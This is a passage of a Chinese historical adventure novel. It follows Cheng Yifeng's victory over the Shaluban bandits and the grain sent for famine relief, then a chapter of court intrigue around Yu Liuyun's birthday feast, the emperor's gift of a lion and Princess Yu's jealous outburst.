百兽乱闯了半盏茶的功夫,河滩上狼藉一片。不久,楚军的队伍里点起了火把,又升了滚滚的浓烟——辣仙姑能闻出,这是雄黄的味道。雄黄可驱虫,她知道得清楚,但是今日自己下山时,志得意满,哪里料到会遇上这么……她想找个词来形容楚军和楚军的统帅程亦风,是厉害吗?是卑鄙吗?委实决断不出来。 只有一点她知道,她败了。杀鹿帮败了。 正想着的时候,就听背后一阵马蹄声响,回身看看,一队楚军正朝他们这些疲惫不堪的帮众逼了过来。她心思敏捷,立刻明白过来——邱震霆用中空方阵掩人耳目,程亦风又如何不会?只不过邱震霆的突袭队落入地方大军手中,而程亦风的突袭队…… 唉,真的败了! 邱震霆向程亦风认输的时候,夕阳满天。猴老三,大嘴四以及大嘴四率领的几个帮众都是满面红肿,辣仙姑没有药带在手边,只好等两军的事情都交代完毕再回山上治疗。他们三个垂头丧气地站了一排,又听一阵马蹄响,一个楚军校尉策马而来,马上担着一个五花大绑的人,正是管不着。 “报——程大人,此人潜入军营,不知想盗窃何物,却把自己锁在百宝柜里了。” 辣仙姑一听,简直岂有此理,瞪着管不着,而后者则面有惭色,低声解释道:“踩盘子的时候就看到他们在挖这个地窖,鬼鬼祟祟的。今儿去就打算看看藏了些什么东西——那里面一层一层的门,一道一道的锁,我怎么料到里面是空屁……到头来,还把自己锁进去了——哎,老三,老四,你们的脸怎么了?” 猴老三和大嘴四怎么好意思说呢?都扭过脸去。 程亦风哈哈笑道:“这位好汉,百宝柜里锁进了您,就不再是空空如也一无用处了。程某对您的开锁技术早有耳闻,佩服得很,所以特地弄了一层层的门一道道的锁来试试您。您果然名不虚传。”说着,向管不着深深一揖。 管不着哼了一声,虽然心有不愤,但人家吃准了自己的性子,自己送上门去让人抓住,实在是自作自受,与人无尤。 邱震霆沉默了许久,沉声道:“程大人,俺明的暗的都打不过你,今天算是服了,你要怎么处置,俺都没有怨言。”说时,两腿一屈,朝程亦风跪了下去。 程亦风赶忙双手扶住他:“邱大侠,使不得。程某也是得了高人的指点,明的暗的招数都使上了,才侥幸赢过邱大侠去。处置的话,程某是万万不敢说的。只请邱大侠归还粮草便好。” 邱震霆垂头道:“既然答应了,大丈夫岂能言而无信。不过……”他犹豫了片刻:“现在粮草只剩三十万石,程大人看……” “三十万?”程亦风皱了皱眉头,“怎么才半个月的工夫,就少了十万?” 邱震霆道:“程大人信也好,不信也好,俺和弟兄们抢粮草杀官兵,可不是为了自己好玩。程大人,我听说你当的是个很大的官儿,你知不知道郾州闹饥荒,老百姓饿极了把小孩子都拿来吃?舍不得吃自己家的,就和邻居换了来吃……” “有这种事?”程亦风大惊,郾州就在鹿鸣山边,重镇远平即在郾州地界。“郾州太守怎么从来没上过奏章?” 邱震霆哼了一声,道:“天下乌鸦一般黑。鬼知道那狗官心里转的什么鬼主意?” 辣仙姑在旁冷笑:“还有什么鬼主意?大灾之时最易征兵,许多百姓为了能混一口饱饭都愿意拿自己的性命来赌一赌——姓冷的不是来拉壮丁的么?那狗官和姓冷的原是一伙!” “啊!”程亦风骇然:冷千山假押送粮草之名意图屯兵远平,但为免遭人怀疑,只带了不到一千余部众前来。倘若利用郾州饥荒就地征兵,岂不是可以神不知鬼不觉变出一支军队? 邱震霆见程亦风不说话,还以为他介意那短了的十万石粮草,拍胸脯道:“程大人,俺要是少了这十万石粮草你不好跟朝廷交代,你就把俺带回凉城去,皇帝老子他要杀要剐,俺眨巴一下眼睛就不是汉子。不过,请你一定要再发些粮草到郾州和旁边的棘州来,俺总算死前也救活了一方父老,阎王跟俺算帐时俺好有个交代。” “大侠,”程亦风有有些激动,“棘州也闹饥荒?” “可不是?”杀鹿帮里有帮众嚷道,“我们哥儿几个都是棘州人,饿得没法才反上山来当土匪的。” 大约又是为着同一个理由!程亦风眉头拧成了疙瘩。 “咱们都不怕死!”帮众们被先前邱震霆的一番表白所触动,“只要朝廷肯放粮食给咱们家里的人,咱就死了有什么关系?二十年后又是一条好汉!” “各位义士!”程亦风尽量大声发话,声音微微颤抖,“程某食朝廷俸禄,竟然不知百姓疾苦,实在愧对郾州、棘州两地父老。程某在这里先谢罪了!”说着,直挺挺跪了下去,面朝郾州的方向先拜了三拜,又朝棘州的方面拜了三拜,最后竟冲着杀鹿帮的众人还要再拜。 邱震霆惊得忙来扶他:“程大人,咱们是土匪,可受不起你的拜。” 程亦风却不肯起身:“邱大侠,你们虽为草莽,却心系一方百姓的冷暖。程某终日只在朝堂上高谈阔论,说的全是废话连篇。程某与你们相比,真是羞愧得无地自容!” 他说话一有文白间杂,邱震霆就丈二和尚摸不着头脑了:“程大人,你别和俺说大道理。俺是个粗人,你就明明白白跟俺讲,现在还剩三十万石粮草,你要俺和弟兄们怎么办?” “还怎么办?”程亦风一甩袖子,“把粮食运了来,立刻就运到郾州、棘州赈济灾民!” 众人先全是一愣,接着爆发出“哗”地一阵喝彩声,有几个杀鹿帮的帮众当即拥上前来,把程亦风举到半空,又连连向天上抛了好几回。侍立在旁的小莫吓得大叫:“大人!快放下大人来!” 程亦风自己当然也被折腾得够戗,用他的话来说,一把年纪了,受不起这个。 不过杀鹿帮的土匪们可不理会许多,觉得惟有把一个人抬到了自己的肩上才能表示出对此人的景仰与钦佩。他们直闹了快一顿饭的时间,才把脸色煞白的程亦风放下来。那时,程亦风几乎连路也不会走了。 邱震霆见状,哈哈大笑:“程大人,看你这书生样子,俺还真不敢相信俺是输给了你!” 程亦风勉强摇摇手:“承让,承让!”看天色渐晚,才跟杀鹿帮的众人道别。 “几位义士脸上的蜂毒该早些救治才是。”程亦风道,“可惜我军中没带着这些药材,不然要双手奉上。” 辣仙姑道:“不打紧,回山上就好。” 猴老三和大嘴四为了留住几分面子,也都逞能地说“没关系”。 “什么没关系?”人群里一声朗笑,走出个老头儿来,正是公孙天成,和程亦风笑盈盈打了个招呼,走到满面红肿的几个人面前。他掏出一个小瓶子来,倒出一人一粒丸药:“这附近的野蜂有大小两种,大的毒性弱,小的反而毒性强。程大人丢出来的蜂巢都是小蜂的,你们不趁早服药治疗,脑袋要肿三五个月呢!” 猴老三等都不识得他,拿着药不敢吃。辣仙姑取过一枚来嗅了嗅,知道是寻常的牛黄丸,便让大家放心服用。 程亦风抱歉道:“原来小蜂反而剧毒,我只想按先生的话找一些虫豸,以为那大蜂凶猛些,才叫人找了小蜂来,不想把诸位义士害苦了。” 众人心里怨恨,但想想若非自己违约在先,放出动物,也不会招楚军投掷蜂巢,到头来是自讨苦吃,于是讪笑着,不搭话。 辣仙姑却听出公孙天成是个不简单的人物:程亦风受了什么高人的指点,莫非是他?便把眼望着公孙天成——这老头儿面目清癯,颇有些仙风道骨。 公孙天成也注意到这犀利的眼神了,回脸拈须而笑:“小老儿搬到山下没多少日子,不过这位夫人的名号可听得熟了——您就是大名鼎鼎的辣仙姑吧?” 辣仙姑不知他葫芦里卖的什么药,没有立刻回答。 公孙天成接着道:“五当家您精通医理药性,还足智多谋,老朽佩服,佩服!” 辣仙姑回了一礼:“过奖了。” 可公孙天成又一叹:“自古机关算尽太聪明,就怕聪明反被聪明误。” 辣仙姑一愕,脸上发起了烧。 公孙天成只当没看到,望着猴老三道:“这位想是尊夫了?能驱百兽,厉害厉害。不过老朽却不明白,虫豸比豺狼虎豹小了百倍,怎么三当家就驱使不来呢?” 猴老三脸上又疼又痒,没心思琢磨公孙天成的用意。而公孙天成也没有在他面前停留,走到了大嘴四的跟前,道:“这位一定是四当家了,听说你有三寸不烂之舌,腐朽能吹能神奇,神奇又能吹成腐朽,若能不战而屈人之兵,可就是兵家的上上之策了。” 大嘴四今日牛还没怎么吹就已经被叮了满头包,公孙天成的赞扬听在他耳里像是讥讽,气呼呼的要说两句辩解的话,可脸上痛楚,嘴也不听使唤。 管不着已经被松了绑。公孙天成只对他微微一揖:“梁上君子也是君子,君子执着所好之事,值得一拜。” 管不着晓得这是说自己只顾着开锁,误了大事,红脸不语。 最后才到了邱震霆的面前:“侠士重义,光明磊落。不知对付卑鄙小人的时候,邱大当家同不同他讲义气呢?” 邱震霆胸一挺:“对卑鄙小人讲什么义气?” 公孙天成道:“那么,对着像程大人这样的磊落君子,邱大当家哪怕是满盘皆输也不肯使一点儿阴险手段了?” 邱震霆一怔,未反应过来,公孙天成已接下去道:“假如邱大当家一箭射死程大人,楚军早已乱了。甚至,假如大当家开始借船给程大人时,若在船里装上火药,早也把楚军炸死了——再退到开头,大当家夜袭楚军时,假如放一把火,烧了楚军的粮草,他们也无法再战……” “呸!呸!呸!”邱震霆怒道,“哪里来的糟老头子,说这些混话!俺敬佩程大人,才诚心要和他光明正大的比个高下,要用你那些伎俩,俺不如先把自己杀了干净。” 公孙天成哈哈大笑:“大当家一世英雄,心系百姓疾苦,怎么会想不通如此浅显的道理?老朽敢问大当家,倘若樾寇杀过大青河来,屠杀郾州、棘州的百姓,大当家当如何?” “那还用问?”邱震霆道,“他奶奶的,谁敢杀俺的乡亲父老,俺就把他跺成八块!” 公孙天成道:“好。不过,老朽听说樾军有些将领也是为民谋福的好人,大当家若然遭遇上这位将领,该当如何?” “当然是……”邱震霆说了前半句,后半句就怎么也讲不出来了。 五大当家这时才恍然明白:他们的长处和弱点被人摸得一清二楚,难怪遭遇惨败。 辣仙姑晓得公孙天成必然是世外高人无疑,抱拳道:“老前辈,您……“ 公孙天成摇头而笑:“我不是什么老前辈。程大人知己知彼,自然百战百胜。今天实在是晚了。各位义士还是早些回山寨休息吧,明日赶早还要去郾州、棘州放粮呢!” 话说到这份儿上,杀鹿帮的众人当然不好勉强,告辞离去。程亦风也该率领将士回大营去了。他朝公孙天成深深拜下:“公孙先生高才,若无先生指点,程某今日决得不回粮草。” 公孙天成摆了摆手:“我只跟你随便提了提这几个人的特点,究竟如何对付,还是靠你自己思量计策,更要随机应变,这场仗是你自己赢的。再有——”他笑意更深了:“你也没得回粮草。回朝你要如何交代?” 程亦风长叹了一声,但面上倒没有什么为难之色:“程某自当据实禀奏。即使某些人会借题大做文章,说不准还会让程某丢了乌纱帽,但是为了两州百姓的性命,程某再所不惜。” 公孙天成注视着他,半晌才点了点头:“程大人尽可以放心,朝廷是不会让您这样的好官丢了乌纱帽的。” “那可不见得。”程亦风苦笑。 公孙天成笑道:“老朽可以这条老命跟大人赌,朝廷决不敢动大人——大人今日虽然没有得粮草,但是得的却是郾、棘两州的民心。朝廷要是因此事与大人为难,就不怕两州百姓请愿造反么?” 程亦风一愕。公孙天成又接着道:“在郾、棘两州之外,大人更还得了杀鹿帮的一批英雄豪杰呢!他日大人有用得着他们的地方,还怕他们不来帮你吗?” “他们?”程亦风道,“是先生的计策制服他们,他们服的是先生,不是程某。” 公孙天成大摇其头:“程大人怎么到如今还要这么说?程大人大智大勇大仁大义,这些草莽把您抬到半空,并不是佩服您将他们击败,而是佩服您将辛苦才取回的粮草分发给百姓啊——就算是有人只是被大人‘打’服的,就算老朽方才赠药之事泄露天机,只要……”说到这儿,他忽然朝程亦风拜倒:“只要大人不弃,收老朽于帐下,老朽自当助大人征贤纳才,建功立业。” 程亦风大惊,连忙双手来扶:“老先生——老先生何出此言?若您愿意为朝廷效力,为天下百姓谋福,程某求之不得,自要禀奏朝廷,备齐礼数,拜先生为上宾,哪有先生拜晚辈的道理?” 公孙天成的须发在晚风里飘飘,虽然站起了身来,但又一次向程亦风作下揖去:“老朽看多了官场黑暗,早已绝了出仕之心,如今见了程大人,知道国家有望。蒙程大人错爱,老朽感激不尽。” 程亦风当然回礼。 前边军士来催了,他即恭敬地陪在公孙天成身侧朝军营走去。 9. 第 9 章 石梦泉回到西京的时候已是十月。本来按照计划,他应该等秋收结束,官粮北运时,再一同回来,但十月初十是玉旒云的生日,这是绝对不能错过的,于是他马不停蹄赶回京里。正值午夜时分,他也等不及天明,硬是叫开了城门——守将认得他是新贵,哪有不恭敬的道理。 也不及回自己的府邸,先就驰马到了玉旒云的公爵府前——在原来将军府的旧制上又有修葺,足见天恩浩荡。绸缎一般的夜幕下角灯宁谧。玉旒云也许已经休息了吧,石梦泉想,只要知道她平安,已足够了。 于是拨转马头,准备回自己家去。可玉府的大门内却突然一阵骚动,听有人劝道:“天晚城门已关闭,石将军怎么可能这时候回来呢?”继而传来玉旒云倔强的声音:“少罗嗦,让开!”说话间,大门轰然而开,玉旒云雪白的单衣外只草草披了件斗篷,这样蓦地出现在门口,叫人怀疑是月色突然被截了一幅下来,裁成了人的模样。 “梦泉!”她惊喜地叫道。 “玉……玉将军。”石梦泉急忙下马行礼。 而玉旒云抢上一步已拉住了他的手,大步朝门里走:“我就知道是你回来了,不是做梦!快进来,咱们好好喝一场!” 石梦泉拉由她拉,拽由她拽,望着抓住自己胳膊的手,望着月色一样的人影儿,他有一刹那不知是自己在做梦,或者其实身在玉旒云的梦里:她方才说什么?她正梦到我吗? 玉旒云拖着石梦泉一路走一路嚷嚷:“快上酒菜来!酒要二十年陈的,宫里赏下来那进贡的霸王蟹快快蒸了,还有茶酥,一定少不了茶酥……”仆人们自然也一路跟着,诚惶诚恐地答应——玉旒云治军纪律严明,令下之后,凡有过失者,必重罚。她在家里也是一样的规矩。不过平日里她的指示都十分清楚,仆人照样去做,决没有出错的理儿。今日她这样胡乱嚷嚷,许多新插进府里来的佣人都是头一次见到,紧张出了一很冷汗。 终于在西花厅坐了下来,上了酒和几样简单的小菜,玉旒云掩不住笑意地把石梦泉上上下下打量了半晌,才道:“叫你你去治蝗,可没叫你去种地,你看看你这黑黢黢的样子,都快成农夫了!”说着,先“扑哧”笑了起来。 石梦泉心矜动荡,脸上发烧,不过因为皮肤晒得很黑了,也看不出来。他借着敬酒掩饰了,道:“我是农家孩子,做农夫也不稀奇。” 玉旒云道:“没想到你也会耍贫嘴。”呷了口酒,才入正题,问:“南方都有些什么大事?你军报上写得简短,再仔细说来我听。” 石梦泉道:“是。”当下把康申亭的事情又原原本本地讲了一回,接着又说了顾长风如何因地制宜消灭蝗虫,再来则是汇报丰收,按照规矩,少不得向玉旒云请罪,说自己提早回来了。 玉旒云呵呵一笑:“你提早回来,难道我不知道是为了什么?”她手一伸:“拿来!” 石梦泉知是向自己讨寿礼,忙从怀里摸出一个盒子来。玉旒云打开看,乃是一枚微微泛紫的东珠,个头比龙眼还大一些,穿了水蓝色的丝线,下面打一个八宝璎珞结。 “这种东西,姐姐那里还少吗?”她皱着眉头。 石梦泉一下舌头打结:“这……” 可玉旒云又展颜一笑:“梦泉,你知道为什么要你和粮食一起北上吗?真没有比你治蝗有成,粮食丰收更好的寿礼了!” “哎……”石梦泉讷讷,“你吩咐的事,我怎么敢不做成、做好?” 仆人送上螃蟹来了,玉旒云即为石梦泉布菜:“不过话又说回来,这个康申亭如此大胆,你可知他的背后是谁么?” 石梦泉摇摇头:“总是个很有势力的人物吧?” “不错。”玉旒云道,“就是三皇叔赵王。” 是他!难怪康申亭要把愉郡主招待得那么好!石梦泉想,又问:“你是怎么知道的?” 玉旒云道:“康申亭被你押回了京里来,你的信也送到我手里,我自然要去吏部关心一下这事。本来像他这么贪赃枉法的大罪是要立刻抹掉全部功名,充军流配的。可是吏部那边却一直无声无息。后来我再去询问,才知道事情被赵王压了下去。康申亭现在在赵王府里做了一名书记官。” “有这种事?”石梦泉几乎怒而拍案。 玉旒云道:“赵王是开国元勋、三朝重臣,手握北境兵权,抗击漠北蛮族,他立下赫赫战功,就是皇上也要礼让他三分。我不能和他明着作对。着实可恶。” “可是康申亭这个罪犯得太大。”石梦泉道,“赵王保他就是在朝中留下话柄,他为什么要做这种事?难道以康申亭虽然是一方总督,还能有恩于赵王爷?” 玉旒云道:“我也不清楚,或许现在还没有恩,将来可能会有,但被你破坏了。” “你的意思是……”石梦泉沉思着,“康申亭囤积粮食是为了赵王?” 玉旒云道:“我也只是猜。假如真的是赵王要在南方囤粮,莫非他起了反心么?而如果不是他授意的,康申亭哪儿来那么大的胆子?” 石梦泉一惊:“那……现在他……” 玉旒云呵呵一笑,举杯敬酒:“现在他就算想反也反不起来了,恐怕只有把你我恨得牙痒痒,但又拿咱们没办法。咱们提防着他就是。” 倒是我行事卤莽了!石梦泉想,以后要多多留神赵王的动静,不叫他危害玉旒云。 两人又接着喝酒闲聊,畅谈朝廷逸闻和南方风物。不知不觉香残了,酒也喝空了好几坛。玉旒云是好强的性子,可从少年时起,喝酒就比不过石梦泉,都喝得醉眼朦胧了,她也不肯罢休,直说:“梦泉,再干一杯。” 石梦泉劝不住,只好奉陪。又不知多少杯下去,竟听不到玉旒云说话,原来她竟已擎着酒杯睡着了。 石梦泉忙起身欲唤仆人,但一阵凉风吹来,玉旒云打了个寒噤,身子摇摇晃晃向石桌扑倒。石梦泉恐她撞伤了额头,连忙伸出一只胳膊去让她枕着。 酒杯“咣啷”落地,好梦却没有被惊醒。 石梦泉小心翼翼地褪下自己的披风盖在玉旒云的身上。他看看窗外,清辉下,好一园艳艳红叶。 次日进宫去拜见了皇后,无他,除了闲话几句家常外,就是商议筹备玉旒云生日宴会的事。皇后说要请戏班子,尤其唱南方戏的——南方的唱功好,北方的身段好:“你们成日练武的,身手还能强不过那些戏子们?倒不如陪我正经听听戏吧。” 玉旒云道:“姐姐是要在宫里办,还是上我那里办?” 玉朝雾道:“自然是在你府里,你自在些。不过皇上本来是要在宫里为你办的,现在听了我的意思,就想也一起上你那里去热闹热闹。” 玉旒云孩子气地把嘴一撇:“皇上都来了,我还能自在么?” 大家全笑了起来。最终还是定了三套南曲一套北曲,还有戏法杂耍。至于请哪些客,由于是在玉旒云府里办,多少算是家宴,就由玉旒云决定。 玉旒云舒了口气:“总算可以不见那群老匹夫了!” 才说着话,却忽然听到庆澜帝的声音:“爱卿说什么老匹夫?”众人见皇上来到,赶紧行礼。 庆澜帝道:“其实在宫里也不必要拘束——又不是朝会!”说时看了看石梦泉:“听说你效法太祖皇帝亲耕,果然晒得够黑!当年太祖皇帝亲耕时,朕还年幼,别的不记得,就记得大家全都晒得像黑炭。” 石梦泉笑笑,自然要多些皇上挂怀。 庆澜帝对玉旒云道:“其实本来朕想在宫里给你办寿筵,是因为有一件礼物要送给你。这件礼物很难搬动。如今既然决定到你府上办寿筵,那朕就提前把这礼物送给你吧。” 玉旒云不禁好奇:“是什么?” 庆澜帝道:“你跟朕来看看就知道了。” “那臣妾也跟去凑个热闹。”玉朝雾亦起了兴致。于是大家就跟着庆澜帝一道穿过了御花园来到了宫中豢养珍禽异兽的“得瑞苑”。 玉朝雾自己喜爱照顾小动物,庆澜帝每到她千秋之喜,总是送她金鱼画眉之类。这时不由笑道:“云儿怎么是个玩花鸟虫鱼的人?她没有耐性的,肯定养不长久。” 庆澜帝道:“朕几时说要送那些给她?那些又怎么会不便搬动?朕送的是一件衬得起玉爱卿这少年英雄的礼物。” 他话音未落,众人已经听到一声惊天动地的咆哮。玉朝雾吓得打了个寒噤:“皇上?莫非你养了只老虎?” “不是老虎,是狮子。”庆澜帝手一指,在不远处有一座硕大的铁笼子,占地几乎有半个太极殿那么大,里面有一只浑身金黄的野兽,体型犹大过老虎,颈中一圈蓬松的鬃毛随着矫健的动作而摇荡。看到众人的时候,它瞪起了眼睛——原来那眼睛竟是蓝紫色的。 玉朝雾吓得直抚胸口:“万岁爷,你从哪里弄来这个?” 而玉旒云却已经完全被这只美丽又威猛的野兽吸引住了,快步跑到那笼子跟前。 “是使节从西方遥远的国家送来的。”庆澜帝笑着回答妻子的问题,“朕一看到它,就觉得玉爱卿会喜欢——你们姐妹俩真是完全不同的啊!你不觉得玉爱卿很像是一只小狮子么?” 玉朝雾当然不同意。然而石梦泉看着玉旒云冷峻矫捷的背影,再看看那威风凛凛又美丽绝伦的狮子,想:果然不错,除了她,谁身上也不能如此完美地同时存在这两种特点。 “送这么一件危险的礼物。”玉朝雾不无嗔怪的,“也真只有万岁爷才想得出来。” “那使节说狮子在他们国家是百兽之王。”庆澜帝道,“凶猛是凶猛,不过,关在笼子里,怕什么?再说——”他眯起眼睛:“你看,这百兽之王好像和玉爱卿还很投缘呢!” 玉朝雾顺他所指望去,果然,玉旒云从太监手里拿了生肉丢进笼子去,狮子跳起来一口叼住,好像一只驯良的狗。“真有意思啊!”她笑道。 这样玩了一会儿,她才回到了庆澜帝跟前,倒身下跪道:“臣十分喜欢万岁的礼物。多谢万岁。” 庆澜帝虚抬了抬手,让她平身:“爱卿喜欢就好啦。朕替你把他养在宫中,你有空就来看看——你可别以为朕这礼物送了等于没送。朕想过了,爱卿领兵以来还没有自己的帅旗呢。朕命人给你做一面,就用金狮子做你的标记,如何?” “多谢皇上!”玉旒云再次拜倒。 “呵呵。”庆澜帝笑道,“等你下次出征的时候,就可以打着这面金狮子旗了!” 下次出征。玉旒云看了看石梦泉,仿佛是说:若给我一道发兵楚国的军令,那就是最好的寿礼了! 十月初十说到就到。打从早晨起,来玉府送礼的人就没停过。管家在前厅里排开好几张桌子专供摆放礼物和名帖之用,仆人们一例换上体面的新衣应酬招待各路人马,但玉旒云却不露面应付这些势利小人,早起就让人备下了寿面,先让石梦泉过府来相聚。她说,这是她真正的“家宴”。 到未时,正式的庆澜帝赐宴才开始,大开仪门迎接皇上、皇后。跟从伺候的有石梦泉的母亲王氏和姑母石氏,两个妇人想来都是得了玉朝雾皇后的赏赐,穿上了宫锻织锦的新衣服,脸上的喜气一衬,年轻了好几岁。此外同来的还有几名禁军侍卫,是过去玉旒云做御前侍卫时的同僚,也算是旧相识了,庆澜帝知道玉旒云不喜与亲贵大臣们敷衍,故尔只带熟人,免得尴尬。 废不了君臣之礼,行罢,玉旒云请皇上、皇后上座,自己跟石梦泉陪在下首。 可这个时候,听一人笑道:“哎呀,我来迟了,要罚几杯酒还请皇兄皇嫂和玉将军做主。”竟是翼王跨了进来。 玉旒云的脸登时阴云密布。 庆澜帝呵呵笑了笑,道:“当然是按例罚三杯——玉爱卿,十四弟是自家人,你不会太认真吧?” 玉旒云冷冷的:“既然是陛下请来的客人,臣怎么敢不招待?” 翼王走到了玉旒云的桌边,对她一揖,算是拜寿,又送上一只锦盒来。他生怕玉旒云看也不看便丢到一边,于是亲自打开了,里面是一枚东珠,洁白如雪,偏偏有一线红痕,仿佛血迹,但仔细看,又像是朱笔勾画的一条鱼,精巧万分。而那珠子的大小比荔枝还略大些,较之石梦泉的那枚,更是上品了。翼王笑道:“小小礼物,不成敬意。这珠子名叫‘鱼龙’,算不得名贵,取个好彩头罢了。玉将军笑纳。” 玉旒云“嗤”地一笑:“叫‘鱼龙’么?我还以为叫‘挂彩’,我行军打仗的人,戴上了恐怕不吉利吧?况且——”她站起身来,这日她穿的月白袍子,罩一件水蓝色马褂,腰里正佩着石梦泉的那个东珠佩。她不点破,就用手把玩着微紫的东珠,笑盈盈。 庆澜帝见场面僵了,忙来打岔:“十四弟也真是的,竟然忘了兵家忌讳见红。朕罚你换三件礼物来,明日补上。现在别愣着,快入席看戏吧。” 翼王道:“遵旨。”但身子却不动。玉旒云隔壁的席上坐的是石梦泉,翼王的意图再明显不过:他要坐石梦泉的位子。 玉旒云又哪能让他得逞,微微一笑,道:“看来翼王喜欢在这个位置看戏。梦泉,让王爷坐这儿,咱们上那头去。”当即命令仆人搬桌子,他二人从庆澜帝的下首换到了玉朝雾皇后的下首,把翼王愣愣地留在原地。 庆澜帝好心撮合,却闹成这局面,面子有些挂不住了,皱着眉头去看玉朝雾皇后。玉朝雾只能摇头,低声道:“万岁,臣妾早跟您说行不通,您非要……” 庆澜帝脾气随和,打了个哈哈:“看戏,看戏。” 先上的是一套南曲,丝竹齐响,那伶人唱道:“战西风遥天几点宾鸿至,感起我南朝千古伤心事。展花笺欲写几句知心事,空教我停霜毫半晌无才思。往常得兴时,一扫无瑕疵。今日个病恹恹刚写下两个相思字。”声音亮冽不尖细,调子婉转而不俗腻,幽幽道来,说不尽的果然只有“相思”两个字。 玉旒云看姐姐听得都痴了,就道:“难怪说南曲好,原来词真的这样雅致,让人回味无穷。” 玉朝雾道:“可不是。但太悲了一点儿,不合适在寿筵上唱。叫他们换一套来。” 自有人得令传到台上去,伶人行礼遵旨,转而唱道:“渔得鱼心满意足,樵得樵眼笑眉舒。一个罢了钓竿,一个收了斤斧,林泉下偶然相遇。是两个不识字渔樵士大夫,他两个笑加加的谈今论古。” “哈!”玉旒云笑着一弹酒杯,“梦泉,这可真是好文章,把咱们骂得无地自容了!” 石梦泉对诗文造诣不高,细细体味了好几遍,才明白了曲中的深意,不禁慨然:都说大江东去淘尽千古英雄,今日纵横沙场,叱咤风云,他朝也不过是人们茶余饭后的谈资罢了。所谓“作古”,就是归为一抔黄土。 “不过——”玉旒云又道,“古今多少事,不是每一件都能为人所津津乐道。好比那曲子里的渔、樵二人,别看他们这时议论得开心,到死后,恐怕连棺材也得不着一副。他们的墓碑会被后世垦荒的人砸去,更不会有人记得他们,谈论他们。若想到了这一层,他们还有什么可开心的呢?” 身后事哪管人评说?石梦泉想,既然评说都不管,是否被人评说又打什么紧? 想是这样想,但他不能与玉旒云争论,笑着陪了一杯酒。 台上的伶人换了琵琶来,琮琮自弹自唱:“豆蔻梢头春正早。敛修眉、未经重扫。湖山清远,几年牢落,风韵初好。慢绾垂螺最娇小。是谁家、舞腰袅袅。而今莫谓,春归等闲,分付芳草。” 这回第一个叫好的是翼王,鼓掌笑道:“唱的是个俏丽的美人儿,座中当得此曲的只有皇嫂,可惜又不恰当。皇嫂您雍容大方,这曲子里唱的却是……” 见他的眼睛朝自己瞟了过来,玉旒云晓得翼王的用意,冷然一笑,道:“翼王爷最好秦楼楚馆,对美人自然是颇有见地的。” 翼王被人在庆澜帝面前揭了短,脸立刻红了,掩饰道:“我其实……我其实……这曲子其实……” “这曲子其实唱的就我这样的姑娘!”蓦地一声娇俏又傲慢,一个姑娘转进了园子来。庆澜帝、玉朝雾、翼王,包括石梦泉都识得她,惟独玉旒云没个印象,望了望石梦泉,后者即低声道:“这就是赵王家里的愉郡主。” “愉郡主?我又没有请她!”玉旒云拧着眉头。 石梦泉的心情又能好到哪里去?这郡主大人还用人请么?他想,是送也送不走的瘟神!在南方七郡,他饱受折磨,黄连水算是轻的了,什么汤桶里蹿出毒蛇,茶壶里关只蜜蜂,这姑娘的鬼点子层出不穷。石梦泉既不想冒犯她,也不想搭理她,但是她纠缠不休,实实让人头痛。今日她又不请自来到了玉旒云的寿宴上,不知道肚里转的什么诡计。 愉郡主依然是带着娇荇同行,她今天穿一件鹅黄洒金的小褂,系石榴红百褶裙,再加上发间一支宝蓝孔雀簪,让她显得万分明艳动人。她上前来跟庆澜帝夫妇、翼王都问了好,却不搭理玉旒云,身为臣子,玉旒云只有躬着身子静静等候。 愉郡主咯咯笑,到了石梦泉的跟前,道:“那个谁,我说你怎么一声不吭就离开南方了,原来是为了玉旒云!” “小愉,说话不要没大没小的!”庆澜帝让玉旒云平身,“今天是玉卿家的大好日子,你既然来了,就要规规矩矩地给人家拜寿。” “嘻!”愉郡主笑道,“生日年年都有,叫什么‘大好日子’?要我说,女孩子家的大好日子一生一次,就是出阁成礼。”她说着,瞥了瞥玉旒云又望了望翼王,言下之意不挑破也罢。 玉旒云的脸色登时变得铁青,拳头死死捏住,就想要拂袖而去。 玉朝雾皇后赶忙打圆场:“小孩子家怎么好说这些?仔细传到你母亲的耳朵里,要怪本宫和皇上没有好好管教你。快乖乖坐下听戏吧。” 愉郡主无法,只得又挑衅地看了玉旒云一眼。而这一眼,却停在她腰间了:“这是什么?”她一把抓住石梦泉送的东珠佩:“怎么会在你这里?” 玉旒云可忍不下去了,夺回来,怒道:“与郡主何干?” 愉郡主跺着脚,声音带上哭腔,冲着石梦泉嚷嚷道:“好哇,哄着我教你打络子,原来又是送给玉旒云的。你这个死没良心的跟屁虫石梦泉!” 石梦泉一时被她骂得手足无措:“郡主,您这是……” 愉郡主可不管三七二十一,又伸手来夺玉旒云的东珠。玉旒云恼火万分,偏偏就是不给。她幼习武术,身手灵活,愉郡主要抓她,她只轻轻闪开,就让人扑了个空。愉郡主没的更加生气了,嚷嚷道:“你这凶女人,我就不明白翼哥哥怎么会看上了你!” 庆澜帝见闹得越来越不成话了,终于出声喝止:“小愉,这成何体统?一个东珠佩,是什么了不起的东西?赵王府里难道没有吗?即便是没有,改日到宫里来,朕让你挑一个。” 愉郡主气喘吁吁,还不罢休:“我就要那一个!” 玉朝雾生怕闹砸了场面,忙对玉旒云道:“云儿,也不是什么了不起的东西,就给她吧。” “不行!”玉旒云倔脾气上来,“是梦泉送给我的。” “得啦,得啦!”那边翼王发话,“小愉你这样闹下去有什么意思?一个姑娘家也不嫌丢人?你那点儿心思,谁看不出来?” 愉郡主秀眉微蹙:“我有什么心事?” 翼王道:“我讲出来,你可别着恼!”说着,朝庆澜帝夫妇道:“皇兄、皇嫂,你们看,小愉是相中石将军做她的夫婿啦,特地来闹事,就是要请皇兄金口赐婚呢!” “什么?”庆澜帝夫妇都是一愣。玉旒云惊讶地转脸望石梦泉,石梦泉则是两颊如火烧:“王爷,这……这……万不可寻微臣的开心。” 愉郡主也是绯红了脸,跳过去狠狠拧了翼王两下:“胡说八道什么?” 翼王一边讨饶,一边还是笑:“倘若你不是相中了石将军,为什么别的东西不要,非要人家送给玉将军的东珠佩?” 愉郡主道:“那是我做师父教他打的络子呀。他眼笨手拙,打了五六十个才得一个像样的,却不送给我这做师父的,这就是对我不敬不孝。” 翼王哈哈大笑:“看,你这还不是不打自招?原是因为这八宝璎珞结系石将军亲手所打,你才非要争到不可,是也不是?” 愉郡主羞得无地自容。石梦泉也恨不得地上能裂开条缝儿让他钻进去——哪怕全世界都误会他也好,玉旒云是怎么想的?他偷眼望望,玉旒云把东珠佩紧紧攥在手中,只余一线水蓝的流苏随着她的呼吸微微荡漾。 庆澜帝听翼王说的有鼻子有眼,问:“小愉,真有这种事吗?说出来,朕自然替你做主。” 愉郡主如何能答? 